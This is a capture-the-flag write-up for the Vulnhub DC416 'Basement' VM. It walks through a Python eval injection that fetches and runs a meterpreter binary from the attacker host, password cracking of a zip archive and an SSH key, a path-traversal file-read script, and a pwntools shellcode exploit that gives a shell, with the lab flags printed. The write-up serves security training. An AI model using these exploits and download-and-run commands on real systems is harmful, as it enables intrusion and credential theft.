Vulnhub - DC416: Basement Writeup
Basement is the first of 4 VMs from the DC416 CTF by @barrebas on Vulnhub. There are 5 flags on this machine but I was only able to get 4 of them.
Here are my other writeups for the DC416 challenges:
information gathering⌗
Before you start with a portscan you need to wait a few minutes because there are several binaries executed by cronjobs. I noticed this during exploiting the machine so be sure to start nmapping after the machine runs a few minutes.
Nmap Scan:
Starting Nmap 7.31 ( https://nmap.org ) at 2016-12-17 22:15 CET
Nmap scan report for 192.168.56.101
Host is up (0.00024s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 f4:2a:b3:db:b8:54:78:c4:8e:0e:e0:f9:15:fd:9f:3b (DSA)
| 2048 34:b7:68:d7:0b:f8:e4:15:fe:fa:01:42:9e:ec:d1:ea (RSA)
|_ 256 c0:36:b9:27:51:54:02:4b:1f:a5:77:58:a6:9d:d4:1e (ECDSA)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: baffle
8080/tcp open http-proxy ------[-->+++<]>.[->+++<]>.---.++++.
|_http-server-header: ------[-->+++<]>.[->+++<]>.---.++++.
|_http-title: Site doesn't have a title (text/html).
8090/tcp open unknown
10000/tcp open snet-sensor-mgmt?
10001/tcp open tcpwrapped
MAC Address: 08:00:27:DF:F5:5E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.24 ms 192.168.56.101
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.74 seconds
jack⌗
So let’s start with the service on port 10000. The script asks the user to enter a number of packets to send and executes a ping:
root@kali:~/basement# nc 192.168.56.101 10000
Please enther number of packets: 1
PING localhost (127.0.0.1) 56(84) bytes of data
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.053 ms
When entering something different we can see there is a python script which takes user input through the input
method.
root@kali:~/basement# nc 192.168.56.101 10000
Please enther number of packets: help
Traceback (most recent call last):
File "./ping.py", line 3, in <module>
num_packets = int(input(' Please enther number of packets: '))
TypeError: int() argument must be a string or a number, not '_Helper'
In python 2 the ìnput
method is the same as eval(raw_input())
so it’s possible to evaluate python statements (In python 3 input
behaves the same as raw_input
).
So by trying the payload __import__('os').system('id')
we can see the user running this script:
root@kali:~/basement# nc 192.168.56.101 10000
Please enther number of packets: __import__('os').system('id')
uid=1000(jack) gid=1000(jack) groups=1000(jack),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
PING localhost (127.0.0.1) 56(84) bytes of data
So the next step is to download a meterpreter binary and execute it with the following set of commands:
echo "__import__('os').system('wget -O /tmp/meterpreter http://192.168.56.3/meterpreter')" | nc 192.168.56.101 10000
echo "__import__('os').system('chmod +x /tmp/meterpreter')" | nc 192.168.56.101 10000
echo "__import__('os').system('/tmp/meterpreter &')" | nc 192.168.56.101 10000
Using the meterpreter session we are able to get the first flag:
meterpreter > cat flag.txt
flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE}
marla #1⌗
By looking at /etc/passwd
we can see there are 4 seperate users on the system so probably each user holds one flag.
jack:x:1000:1000:jack,,,:/home/jack:/bin/bash
marla:x:1001:1001:marla,,,:/home/marla:/bin/marla
tyler:x:1002:1002:tyler,,,:/home/tyler:/bin/tyler
robert:x:1003:1003:robert,,,:/home/robert:/bin/bash
In the folder /home/jack/.secret/
there is a file called marla.xip
. A file command on the file reveals only data
so we have to dig deeper.
root@kali:~# file marla.xip
marla.xip: data
barrebas got me the hint that this xip
extension is a mix of two filetypes. So the file is probably a XOR encrypted ZIP archive. To quickly test XOR keys I used xortool.
root@kali:~/xortool# xortool -b /root/marla.xip
The most probable key lengths:
3: 14.6%
6: 19.6%
9: 11.0%
12: 13.8%
15: 7.4%
18: 10.1%
21: 5.6%
24: 7.1%
27: 5.1%
30: 5.6%
Key-length can be 3*n
256 possible key(s) of length 6:
M4YH3M
L5XI2L
O6[J1O
N7ZK0N
I0]L7I
...
Found 0 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
Now let’s look at the directory with the decoded files and see if we can spot something of interest:
root@kali:~/xortool/xortool_out# file * | grep -v " data"
000.out: Zip archive data
197.out: PGP\011Secret Key -
199.out: PGP\011Secret Sub-key -
220.out: DOS executable (COM, 0x8C-variant)
232.out: COM executable for DOS
252.out: AIX core file fulldump
filename-char_used-perc_printable.csv: ASCII text
filename-key.csv: ASCII text
So we have found a ZIP archive. By looking at the generated csv we can see the XOR key beeing used was M4YH3M
.
Next step is to examine the contents of the zip file.
root@kali:~# mv 000.out /root/marla.zip
root@kali:~# unzip -l marla.zip
Archive: marla.zip
Length Date Time Name
--------- ---------- ----- ----
1766 2016-11-22 04:41 marla
396 2016-11-22 04:49 marla.pub
--------- -------
2162 2 files
Unfortunately the zip file is encrypted with a password so let’s try to crack it.
JohnTheRipper contains a handy little script called zip2john
to extract the password hash for cracking. I then removed all except the hash from the file and ran hashcat against it.
[firefart@linux hashcat]$ /home/firefart/hacking/JohnTheRipper/run/zip2john /home/firefart/marla.zip
marla.zip:$zip2$*0*1*0*05ed2b46cc5c8fdd*4dfb*14c*3c099c875a5b4e660f310f657f34d7023b638556bc90a38168d5d752454a8954ebe2a08e064153f36afa0eb398f11139fae94e5cb7678dbda653de495847cd9e2c8c03573f6260f349a6e553b3a21647bcb351ae01ef15538cd613b97a144ad97d2f0db50bd29e093ea7772db8e465c5e6019f4427eab1f059241f86091148e8e292171a7cebb85fa07826f8b2061414931b217e63aa187ee508bad16cb1c57993bd703096b77e4e376edd9842e4363e58512b26422cbf1961a4ad741d4ab9d292a447cd6eaccd23e040702edb8be854798a35a63491b07b4c3b820e6c2a394e42a17180720cd9287f953f3482382068df0a98755ee27ba9ee0667b5b813cc3c9105a92d9f76566e9674d0c8ccc4050abeda5089d854546a5a39da8d93da503179dc6e0d847d29ede19654471d5a875e65a81e700810b4b7f1657bf8d78869e8078681dabfc35d0e0bc15fee*321fdfa476052bcf20c6*$/zip2$:::::marla.zip
[firefart@linux hashcat]$ cat /home/firefart/marla.zip.hash
$zip2$*0*1*0*05ed2b46cc5c8fdd*4dfb*14c*3c099c875a5b4e660f310f657f34d7023b638556bc90a38168d5d752454a8954ebe2a08e064153f36afa0eb398f11139fae94e5cb7678dbda653de495847cd9e2c8c03573f6260f349a6e553b3a21647bcb351ae01ef15538cd613b97a144ad97d2f0db50bd29e093ea7772db8e465c5e6019f4427eab1f059241f86091148e8e292171a7cebb85fa07826f8b2061414931b217e63aa187ee508bad16cb1c57993bd703096b77e4e376edd9842e4363e58512b26422cbf1961a4ad741d4ab9d292a447cd6eaccd23e040702edb8be854798a35a63491b07b4c3b820e6c2a394e42a17180720cd9287f953f3482382068df0a98755ee27ba9ee0667b5b813cc3c9105a92d9f76566e9674d0c8ccc4050abeda5089d854546a5a39da8d93da503179dc6e0d847d29ede19654471d5a875e65a81e700810b4b7f1657bf8d78869e8078681dabfc35d0e0bc15fee*321fdfa476052bcf20c6*$/zip2$
[firefart@linux hashcat]$ ./hashcat -a 3 -m 13600 /home/firefart/marla.zip.hash
$zip2$*0*1*0*05ed2b46cc5c8fdd*4dfb*14*3c099c875a5b4e660f310f657f34d7023b638556bc90a38168d5d752454a8954ebe2a08e064153f36afa0eb398f11139fae94e5cb7678dbda653de495847cd9e2c8c03573f6260f349a6e553b3a21647bcb351ae01ef15538cd613b97a144ad97d2f0db50bd29e093ea7772db8e465c5e6019f4427eab1f059241f86091148e8e292171a7cebb85fa07826f8b2061414931b217e63aa187ee508bad16cb1c57993bd703096b77e4e376edd9842e4363e58512b26422cbf1961a4ad741d4ab9d292a447cd6eaccd23e040702edb8be854798a35a63491b07b4c3b820e6c2a394e42a17180720cd9287f953f3482382068df0a98755ee27ba9ee0667b5b813cc3c9105a92d9f76566e9674d0c8ccc4050abeda5089d854546a5a39da8d93da503179dc6e0d847d29ede19654471d5a875e65a81e700810b4b7f1657bf8d78869e8078681dabfc35d0e0bc15fee*321fdfa476052bcf20c6*$/zip2$:m4rl4
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WinZip
Hash.Target......: $zip2$*0*1*0*05ed2b46cc5c8fdd*4dfb*14*3c099c875a5b4e660f310f657f34d7023b638556bc90a38168d5d752454a8954ebe2a08e064153f36afa0eb398f11139fae94e5cb7678dbda653de495847cd9e2c8c03573f6260f349a6e553b3a21647bcb351ae01ef15538cd613b97a144ad97d2f0db50bd29e093ea7772db8e465c5e6019f4427eab1f059241f86091148e8e292171a7cebb85fa07826f8b2061414931b217e63aa187ee508bad16cb1c57993bd703096b77e4e376edd9842e4363e58512b26422cbf1961a4ad741d4ab9d292a447cd6eaccd23e040702edb8be854798a35a63491b07b4c3b820e6c2a394e42a17180720cd9287f953f3482382068df0a98755ee27ba9ee0667b5b813cc3c9105a92d9f76566e9674d0c8ccc4050abeda5089d854546a5a39da8d93da503179dc6e0d847d29ede19654471d5a875e65a81e700810b4b7f1657bf8d78869e8078681dabfc35d0e0bc15fee*321fdfa476052bcf20c6*$/zip2$
Time.Started.....: Thu Jan 19 16:33:24 2017 (57 secs)
Time.Estimated...: Thu Jan 19 16:34:21 2017 (0 secs)
Input.Mask.......: ?1?2?2?2?2 [5]
Input.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Input.Queue......: 5/15 (33.33%)
Speed.Dev.#1.....: 1262.8 kH/s (11.10ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 71884800/104136192 (69.03%)
Rejected.........: 0/71884800 (0.00%)
Restore.Point....: 1152000/1679616 (68.59%)
Candidates.#1....: ma7f7 -> mq7g5
HWMon.Dev.#1.....: Temp: 73c Fan: 56% Util: 95% Core:1911Mhz Mem:3802Mhz Lanes:16
Started: Thu Jan 19 16:33:16 2017
Stopped: Thu Jan 19 16:34:21 2017
Awesome so the password is m4rl4
.
We are now able to extract the zip file with p7zip
.
root@kali:~# p7zip -d marla.7z
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-3520M CPU @ 2.90GHz (306A9),ASM,AES-NI)
Scanning the drive for archives:
1 file, 1974 bytes (2 KiB)
Extracting archive: marla.7z
WARNING:
marla.7z
Can not open the file as [7z] archive
The file is open as [zip] archive
--
Path = marla.7z
Open WARNING: Can not open the file as [7z] archive
Type = zip
Physical Size = 1974
Enter password (will not be echoed):
Everything is Ok
Archives with Warnings: 1
Files: 2
Size: 2162
Compressed: 1974
So let’s have a look at the extracted files:
root@kali:~# cat marla.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuh1NziT0vauHjqRvPIDQnFKYYtaYP1h56DXesZ6ZlSezFZVtJ1oQvLh3WJGgH7Bojzwxo4k5xwvw/0fyvCD68GGA99j8wfcYvFQ60BGMUYHfEduQPs0sAmL9tftIUY1vLf6htgCfz8oJ6Pi9YxLkgrS0+udGGxU0rXkU6hfaT710VH2DpvxymXbrKHHnd2wYmf/VVg54ugRyKWjKSBR+IkXTJr0FSMmsb7s1O84r1XTjJUJc6AZkiN1NLMxDQ1xnb/ToCnSpPIDm83fPDLDYhnlNZ2YoVqq9TTYVF9lxBaYLEjhVI+HKFF2geWjnMR5IHU/YwKWodcqh2GYY/LGNV marla@basement
root@kali:~# cat marla
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,4A3641AA61921099DAB3E32222AE8221
k8zDFT8UXhpb7Dn+KzYv6mYuAI0vF25s/zFpuvtm31FtTwOAzqz+ukei2DR+r4Zb
QKGV5EPf0ymcx6Nh4X700eRa555hFDrWMRwLAy7bTkYK5MbLY3On7BqBnmpbs/bd
Pd/VpmvMtUnl8YcMF756NLt0sgqwWbf8DGFUcJZTGEsZhwTL86cCYyFbbdOHijzY
Wi+OjgVBxw62VrdEn8HHA0Hks72LRGAsXLJ4ReT6nm/6H88idKHtnc1CXGzUtEwR
E7/Bzzqn/P1rTrnPp/adV4oAC+Q86Sdy5RHuH35KC6c6WgpFRprqeWeLdf6aBBF0
yadmGUu4PrWP7iYd7Bc4k2Czlr0pk1x0GjqedjFYmPWypllfZvMriQa6QhYkKlGl
ecEm8Usrok54u8jX1VZtdRu1+6gNPZcw8FOK1GTks2L9ywvWoSNOGr5LFBDBYufq
SNNUQq0cEyAl3KaPT5vPyEcrqAa7NKmIl5uImECPG93iIsfOt3P4ujVwWuT3p100
KHnHEybuZXTBRUPmHoE+wXvFyLAWzHG8d6cy18FzGEyogUbs+d5GmdFjsyaaLeES
8AtkGrWrUAgo/NDpbVdHoLmwjzvxlDkk+Uk3/KN5qjFKajbav9EoMJNeCac1Ax0i
KHiSvyPtifWu9Mj8IYq6zIVVFoVPc4swDrqxsNkwA8uAXLCIBk/lHOBryIPVmsOd
4gWhae23ul+HC5gHwlXUfq5Zrljhqpw9D50veSizqdtwmWgvs1crkddXbTwUSvrb
kZHQoY2PqfJPmF3TNt5RQvwNIaOMospy29niKk/qICaZ1t9KUyMdfNmyVzHGnJPz
Ae6pdfCsgoymkO1zd4TVaGTRH2tt0ZRXECHPTG/5i8IRJGB4hlTJ4z0QNcVPQGdF
sI9GuUuRzaIpVbbxf50OG5qWfVRJR2lWwfvIEgmfvKQs9qJBq4X05NeagWoDKhrH
/90k1S3GI5rw9RyjzD1I4k1li+PjyWs+wZAEn39Hqlxuk+gMWuKCr6Wel/dV3exU
XlkGJLJo1SUK1Uh2Z6CeSwdSVMf2j21pMbeaw8U9RQund9EOwln8JDKtdQXYW9ba
SE/hUpvlNHPG/90Tp2JQCkk/MinwV4IGev7mn9piltL8Q7qcU1o9TpAxtdonyaYI
UYnzpv+g/0fhKnycwRttVukt7Mtgvr0SMCXcImMjdnDpVxbrbEWtLgFsZayg+SzQ
/03KMOA9AVoo48ZlLa+oERqeedXDBqmKkNJwIsBcYEywHl6NlEHCZk2S/lcr+ra9
im+l2nua3IvYYIRnWHWoLs0D+Hi/PvQHmj3e2YBeIZMYGPHk8XQ17cofwqU7VDr7
x6nP22au0LGKTj4+E46r1hEWs9C0X8AMJjfShb+CyN/imo/3a3bJiazE1F5IpKlY
5UejDh7GCcxnvmjXlY4q+7DeJlz5VSjKjfR5V0b5mkcLEI18c2sBkTVdMVzzBGQO
kTNSGJSOrF5el9+wlpLY4E8loocJpzH3P3uu+fOwHtNiul5RAlotfJnJd9lYea5k
W581cgXIWgN6actoiIGZXlHKB5Zsdb3GdmmG0Lb50lsL4GH8MIKDKdumUKSwrT20
-----END RSA PRIVATE KEY-----
Crap, another encrypted key. But we can see clearly this two files are SSH keys used for connecting as marla
to the machine using SSH.
Again, JohnTheRipper has a script ready for us: sshng2john.py
[firefart@linux run]$ /home/firefart/hacking/JohnTheRipper/run/sshng2john.py /home/firefart/marla.key > /home/firefart/marla
[firefart@linux run]$ ./john /home/firefart/marla.key
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
[firefart@linux run]$ ./john /home/firefart/marla
Using default input encoding: UTF-8
Loaded 1 password hash (SSH-ng [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
singer (/home/firefart/marla.key)
singer (/home/firefart/marla.key)
Jeah so the key password is singer
.
We can now use this password to retreive the next flag:
root@kali:~# ssh -i marla [email protected]
The authenticity of host '192.168.56.101 (192.168.56.101)' can't be established.
ECDSA key fingerprint is SHA256:CGwzPRVhg2hHuFrgbZjV6MHx+xXtDLYXCzQJO3PrH4U.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.56.101' (ECDSA) to the list of known hosts.
Enter passphrase for key 'marla':
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
well done! your flag is flag{l4y3rs_up0n_l4y3rs}
Connection to 192.168.56.101 closed.
marla #2⌗
By looking at the running processes there seems to be an audio stream of a flag streamed by marla
and a binary only accepting connections from localhost run by robert
.
marla 3785 4.5 6.2 464280 31612 ? S 02:10 0:06 ffserver -f /home/marla/ffserver.conf
marla 3787 94.4 6.3 462656 32204 ? R 02:10 2:10 ffmpeg -stream_loop -1 -f wav -i /home/marla/flag.wav http://127.0.0.1:8090/feed1.ffm
robert 3782 0.0 0.5 19644 2808 ? S 02:10 0:00 socat TCP-LISTEN:10001,reuseaddr,fork,range=127.0.0.1/32 EXEC:./tenbytes,pty,stderr,echo=0
First we try the streaming webserver:
$ nc 127.0.0.1 8090
GET / HTTP/1.0
HTTP/1.0 301 Moved
Location: http://localhost/flag.mpg
Content-type: text/html
So we need to get a file called flag.mpg
. As this file is streamed endlessly we need to kill the download after a while as it will never end.
wget http://127.0.0.1:8090/flag.mpg
By downloading the mpg and listening to it locally, we can hear a computer generated voice saying the following numbers:
102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125
By decoding the numbers as ascii, we get the second flag flag{bR4in_paRas1te$}
a = "102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125"
b = ""
for x in a.split(" "):
b += chr(int(x))
print(b)
tyler⌗
When connecting to the webserver on port 8080 the following server header is returned
------[-->+++<]>.[->+++<]>.---.++++.
This string is definitely Brainfuck. Using an online decoder we can see the string translates back to webf
.
When trying to access files in the webroot the webserver crashes and only comes up again after some time (probably by a cron job).
All error messages are also translated to Brainfuck:
root@kali:~# nc 192.168.56.101 8080
webf
HTTP/1.1 501 Not Implemented
Content-type: text/html
<html><title>Error</title><body bgcolor=ffffff>
501: Not Implemented
<p>+[------->++<]>.+.+++++.[---->+<]>+++.++[->+++<]>.+++++++++.++++++.-------.----------.: webf
<hr><em>------[-->+++<]>.[->+++<]>.---.++++.</em>
By looking at the process list again the binary running seems to be tiny
:
14709 1 run_tiny.sh 0 tyler /bin/bash /home/tyler/run_tiny.sh
14711 14709 tiny 0 tyler /home/tyler/tiny 8080
By asking our friend google this seems to be the tiny-web-server. This webserver behaves as pythons SimpleHTTPServer
and serves the whole directory from where it is run. By looking at the issues page there seems to be an unpatched arbitrary file read vulnerability https://github.com/shenfeng/tiny-web-server/issues/2.
Our webserver crashes when requesting files normally so let’s try to request ../../../../../../../etc/passwd
encoded in Brainfuck
root@kali:~# nc 192.168.56.101 8080
GET ++[------>+<]>+++..+.-..+.-..+.-..+.-..+.-..+.-..+.[--->+<]>.[--->+<]>---.++[->+++<]>+.-[-->+<]>--.+[----->+<]>.[----->++<]>+.--[--->+<]>--..++++.[->+++<]>-. HTTP/1.0
HTTP/1.1 200 OK
Server: ------[-->+++<]>.[->+++<]>.---.++++.
Content-length: 1445
Content-type: text/plain
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
jack:x:1000:1000:jack,,,:/home/jack:/bin/bash
marla:x:1001:1001:marla,,,:/home/marla:/bin/marla
tyler:x:1002:1002:tyler,,,:/home/tyler:/bin/tyler
robert:x:1003:1003:robert,,,:/home/robert:/bin/bash
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
Bingo!
So we are able to read files as tyler
but we already looked around on the server as jack
so we are interested in the files in tyler’s home directory. We can not use tools like dirbuster because it crashes the server so my solution was to come up with a simple python script to encode all wordlist entries to Brainfuck, request the file and save it:
#!/usr/bin/env python3
import http.client
from time import sleep
def sf(filename, data):
with open(filename, 'wb') as f:
f.write(data)
def rf(filename):
with open(filename, 'rt') as f:
return f.readlines()
wordlist = "/usr/share/wordlists/dirb/common.txt"
def char2bf(char):
result_code = ""
ascii_value = ord(char)
factor = ascii_value / 10
remaining = ascii_value % 10
result_code += "{}".format("+" * 10)
result_code += "["
result_code += ">"
result_code += "{}".format("+" * int(factor))
result_code += "<"
result_code += "-"
result_code += "]"
result_code += ">"
result_code += "{}".format("+" * remaining)
result_code += "."
result_code += "[-]"
return result_code
def str2bf(string):
result = ""
for char in string:
result += char2bf(char)
return result
words = rf(wordlist)
counter = 1
# words = ['.ssh/id_rsa']
for w in words:
w = w.strip()
filename = str2bf(w)
try:
conn = http.client.HTTPConnection("192.168.56.101", 8080)
conn.request("GET", filename)
resp = conn.getresponse()
data = resp.read().strip()
if b"404: Not Found" in data:
print("File {} not found".format(w))
else:
filename = "{}_{}.loot".format(counter, w.replace("/", "_"))
sf(filename, data)
print("File {} saved!!!!!!".format(w))
except http.client.IncompleteRead:
print("File {} returned an error (most likely it's a directory)".format(w))
print("This request crashed the webserver so let's wait a little ....")
sleep(30)
finally:
if conn:
conn.close()
counter += 1
By executing the script the server crashed at the .ssh
entry so it must be an issue when requesting directories. But this also drove me in the right direction to try if there is an .ssh/id_rsa
private key file present.
After modifying the script we are able to download the private key file, ssh to the server as tyler
and get the next flag flag{l3t_Th3_cH1P$_f4LL_wH3Re_tHey_m4y}
:
root@kali:~/basement# ssh -i basement_tyler.key [email protected]
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec 17 10:25:57 2016 from 192.168.56.3
well done! your flag is flag{l3t_Th3_cH1P$_f4LL_wH3Re_tHey_m4y}
Connection to 192.168.56.101 closed.
robert⌗
Robert’s flag took me the most time. There is a binary running on Port 10001 requesting 10 bytes from the user and then executes them. To play with this locally I added a portfwd
in meterpreter.
First I tried to get some custom shellcode into the 10 bytes but none of my attempts worked and this really frustrated me. So I tried to think about the program flow and how the program could be implemented and this ended up in some kind of blind shellcode crafting.
I thought there must be a call to read
writing the 10 bytes to an executable area in memory and then a jmp
or call
instruction has to be executed to get to the custom shellcode. If we are able to execute the read
call again using a bigger length we would be able to write shellcode to memory and execute it.
By looking at the sys_read syscall we can see the length to read needs to go in the EDX
register.
So our assumption about the execution flow is the following
junk
mmap
junk
printf("Tee hee! Gimme ten bytes to run!")
junk
read 10 bytes
junk
jmp/call to read bytes
junk
Hopefully the instruction executed is a CALL
instruction because it pushes the current return address to the stack and executes a JMP
. This way we could pop the adress from the stack and return to it a few instruction before and hope to hit the read
syscall with our custom (bigger) EDX
value.
My custom shellcode to pop the return address into a register, subtract a value from it and jump to it took too many bytes to also get a bigger value into EDX
. So my approach was to execute the first read, add my custom pop
, sub
, jmp
shellcode and also double the value in the EDX
register which hopefully is still 10
. When executing this code a few times we should be able to double EDX
on each run, execute a read with a big value and finally execute our shellcode. So for this to work a CALL
instruction needs to be executed and EDX
must not be changed.
This approach was a lot try and error because there is absolutely no response but after doing hundreds of runs I finally was able to execute my own shellcode!
The script does the following
- generate the maximum 10 byte payload: _ double the value in EDX (add edx, edx) _ pop the return value from the stack into a register _ subtract a value from it _ jump to the new value and hope we hit a location where the read call is executed
- sends the payload the first time. If we hit the correct value to subtract a new read should be executed
- sends the payload over and over again, every time doubling the value in EDX
- once we reach the desired length in
EDX
the shellcode is sent and theCALL
instruction calls it
To find the value to subtract from EDX we simply loop over 0 till 255 and try every value. This will jump in one byte steps relative to the CALL
instruction till we hit the READ
call again.
Once the correct offset is found, /bin/sh
is executed and we have a shell as robert
!
#!/usr/bin/env python2
from pwn import *
context(bits=64,
os='linux',
aslr=False,
# log_level='DEBUG',
terminal=['tmux', 'splitw', '-l', '45'])
def encode_payload(p):
return "".join("\\x{:02x}".format(ord(c)) for c in p)
def calculate_iterations(number):
number = float(number)
iterations = 0
while number >= 10.0:
iterations += 1
number /= 2
return iterations
local = False
# local = True
debug = False
offset = 0
# the read call should be in the last 255 bytes
while offset <= 255:
try:
log.info("Trying offset {}".format(offset))
if local:
p = process("./tenbytes")
if debug:
gdb_cmd = []
# gdb_cmd.append("b *{:#08x}".format(0x00400697))
gdb_cmd.append("c")
gdb_cmd = "\n".join(gdb_cmd)
gdb.attach(p, execute=gdb_cmd)
raw_input("Press enter when GDB is running")
else:
p = remote("127.0.0.1", 10001)
# EDX: how many bytes to read
# so do a loop, double the bytes in EDX
# till we have our desired value,
# pop the return adress into rdi
# and bruteforce our way back the stack
# till we reach a point where the read loop
# is executed again
# after our loop we should be able to read
# a bigger value to the stack and execute it
payload = ""
payload += "\x01\xd2" # add edx, edx
payload += "\x5f" # pop rdi
payload += "\x48\x83\xef" # sub rdi, xxx
payload += chr(offset)
payload += "\xff\xe7" # jmp rdi
payload = payload.ljust(10, "\x90")
if len(payload) > 10:
log.error("Payload too long! ({} bytes). Offset {}".format(len(payload), offset))
log.info("Payload: {}".format(encode_payload(payload)))
p.recvline() # receive greeting
# 1: 0x10 = 10
# 2: 0x14 = 20
# 3: 0x28 = 40
# 4: 0x50 = 80
# 5: 0xA0 = 160
# 6: 0x140 = 320
# 7: 0x280 = 640
# 8: 0x500 = 1280
edx_should_be = 0x500 # length of the next read
iterations = calculate_iterations(edx_should_be)
log.info("Iterations: {}".format(iterations))
for i in range(1, iterations):
p.send(payload)
log.info("EDX should now be {:#4x}".format(edx_should_be))
# second stage
# ./msfvenom -p linux/x64/exec cmd=/bin/sh -f py -v shell
# No platform was selected, choosing Msf::Module::Platform::Linux from the payload
# No Arch selected, selecting Arch: x64 from the payload
# No encoder or badchars specified, outputting raw payload
# Payload size: 47 bytes
# Final size of py file: 248 bytes
shell = "\xcc" if local and debug else ""
shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05"
log.info("Sending shellcode")
p.send(shell)
if local:
# if we are local there is no tty error message
sleep(0.1)
p.sendline("id")
output = p.recvline(timeout=0.1)
if output and "uid=" in output:
log.info("Found offset!!! {}".format(offset))
break
else:
# check for no tty message
p.sendline()
output = p.recvline(timeout=0.5)
if output and "tty" in output:
log.info("Found offset!!! {}".format(offset))
break
if offset == 255:
log.error("No valid offset found!")
p.close()
except EOFError:
log.warning("Error on offset {}".format(offset))
p.close()
finally:
offset += 1
p.interactive()
Last output from the run:
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Payload: \x01\xd2\x5f\x48\x83\xef\x25\xff\xe7\x90
[*] Iterations: 8
[*] EDX should now be 0x500
[*] Sending shellcode
[*] Found offset!!! 37
[*] Switching to interactive mode
$ $ id
uid=1003(robert) gid=1003(robert) groups=1003(robert)
$ $
Now we are able to add our private key file to /home/robert/.ssh/authorized_keys
connect as robert
via SSH and get the next flag flag{t3N_byt3$_0ugHt_t0_b3_eN0uGh_f0R_4nyb0dY}
Now we can also get the tenbytes
binary and look at it to confirm our script
Thanks @barrebas for a lot hours trying to blindly bruteforce the binary :)
The flags:
flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE}
flag{bR4in_paRas1te$}
flag{l3t_Th3_cH1P$_f4LL_wH3Re_tHey_m4y}
flag{t3N_byt3$_0ugHt_t0_b3_eN0uGh_f0R_4nyb0dY}
flag{l4y3rs_up0n_l4y3rs}